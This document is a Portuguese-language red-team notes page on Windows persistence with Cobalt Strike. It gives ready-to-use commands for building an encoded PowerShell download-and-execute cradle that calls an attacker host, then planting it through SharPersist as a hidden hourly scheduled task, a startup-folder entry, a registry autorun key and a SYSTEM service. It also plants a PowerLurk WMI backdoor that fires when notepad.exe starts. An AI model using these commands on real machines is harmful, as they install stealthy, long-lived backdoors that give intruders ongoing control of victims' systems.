Persistência

Acesso Comum

O Cobalt Strike não inclui nenhum comando integrado especificamente para persistência, porém existe uma ferramenta boa chamada SharPersist, que é um kit de ferramentas de persistência do Windows escrito pela FireEye. Está escrito em C#, portanto pode ser executado via execute-assembly.

Task Schedule

Abra o powershell (de qualquer máquina) e execute os comandos abaixo. Lembre-se de alterar o caminho web para o caminho configurado no CS.

$str = 'IEX ((new-object net.webclient).downloadstring("http://<ip>/mysther"))'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))

Caso prefira, pode executar também a partir de um Linux

set str 'IEX ((new-object net.webclient).downloadstring("http://<ip>/mysther"))'
echo -en $str | iconv -t UTF-16LE | base64 -w 0

Agora é necessário ter o SharPersist na máquina atacante para poder prosseguir (o execute-assebly lê arquivos localmente). Abaixo estamos programando a máquina alvo para executar a cada 1 hora, o comando definido acima. Altere o comando de acordo com a saída do comando anterior:

execute-assembly <C:\path\to\SharPersist\SharPersist\bin\Release\SharPersist.exe> -t schtask -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc <saida-comando-anterior>" -n "nome-task" -m add -o hourly

Explicação:

  • -t = Técnica de persistência desejada

  • -c = Comando a ser executado.

  • -a = Argumentos

  • -n = Nome da tarefa

  • -m = Adicionar a tarefa (também é possível remover, verificar e listar)

  • -o = Frequencia da tarefa

Startup Folder

Utilize o mesmo esquema de conversão de comando em base64 com unicode para o comando abaixo. Altere o valor do parâmentro -f para definir o nome do arquivo. Deixe algo como setup, config, init, etc. Mas atente-se para não colocar o nome de um arquivo que já existe.

execute-assembly <C:\path\to\SharPersist\SharPersist\bin\Release\SharPersist.exe -t startupfolder -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc <saida-comando-anterior>" -f "<filename>" -m add

Registry AutoRun

Primeiro faça upload do arquivo malicioso gerado pelo CS

cd c:\windows\temp
upload <c:\path\to\file>

Agora acesse-o, alterando no comando abaixo o caminho do arquivo e o parâmetro -v que é o nome da chave de registro que irá ser criada

execute-assembly <C:\path\to\SharPersist\SharPersist\bin\Release\SharPersist.exe> -t reg -c "<C:\ProgramData\evil.exe>" -a "/q /n" -k "hkcurun" -v "<key-name>" -m add

Acesso SYSTEM

Antes de começar, lembre-se de que os processos SYSTEM não podem ser autenticados no proxy da web, portanto não podemos usar HTTP Beacons. Então deve-se usar beacons P2P ou DNS. E é claro, tenha em mãos um usuário com altos privilégios.

Windows Services

Muitos serviços do Windows que são executados como SYSTEM, mas podemos criar o nosso próprio serviço que não terá impacto nos serviços existentes. Faça primeiro o upload do tcp-local_x64.svc.exe e renomeie para mysther-svc.exe. Agora execute:

execute-assembly <C:\Path\to\SharPersist\SharPersist\bin\Release\SharPersist.exe> -t service -c "<C:\Path\to\mysther-svc.exe>" -n "mysther-svc" -m add

Após isso, a máquina deve ser reiniciada para que o serviço fique ativo e, para acessar de fato o Beacon, devemos executar o comando abaixo:

connect localhost 4444

WMI Event Subscriptions

A persistência por meio de eventos WMI pode ser alcançada aproveitando as três classes a seguir:

  • EventConsumer = Ação que queremos realizar – neste caso, executar uma carga útil. Isso pode ser feito por meio de comandos do sistema operacional (como uma linha única do PowerShell) ou VBScript

  • EventFilter = Gatilho sobre o qual podemos agir. Qualquer consulta WMI arbitrária pode ser usada como um filtro que oferece opções praticamente ilimitadas. Isso pode incluir quando um processo específico é iniciado, quando um usuário faz login, quando um dispositivo USB é inserido, em qualquer horário específico do dia ou em um intervalo de tempo

  • FilterToConsumerBinding = Simplesmente vincula um EventConsumer e um EventFilter

No comando abaixo, iremos utilizar o PowerLurk, que é uma ferramenta do PowerShell para criar esses eventos WMI. Neste exemplo, iremos carregar uma carga DNS no diretório do Windows, importando o PowerLurk.ps1 e criando uma nova assinatura de evento WMI que a executará sempre que o notepad.exe (poderia ser qualquer outro programa) for iniciado.

cd C:\Windows
upload <C:\Path\to\dns_x64.exe>
powershell-import <C:\Path\to\PowerLurk.ps1>
powershell Register-MaliciousWmiEvent -EventName WmiBackdoor -PermanentCommand "C:\Windows\dns_x64.exe" -Trigger ProcessStart -ProcessName notepad.exe

Feito isso, basta esperar o alvo abrir o notepad.exe, que irá gerar o Beacon no CS. Para remover o backdoor, basta executar o comando abaixo:

Get-WmiEvent -Name WmiBackdoor | Remove-WmiObject

Sites

# PowerLurk
https://github.com/Sw4mpf0x/PowerLurk

# SharPersist
https://github.com/fireeye/SharPersist

Last updated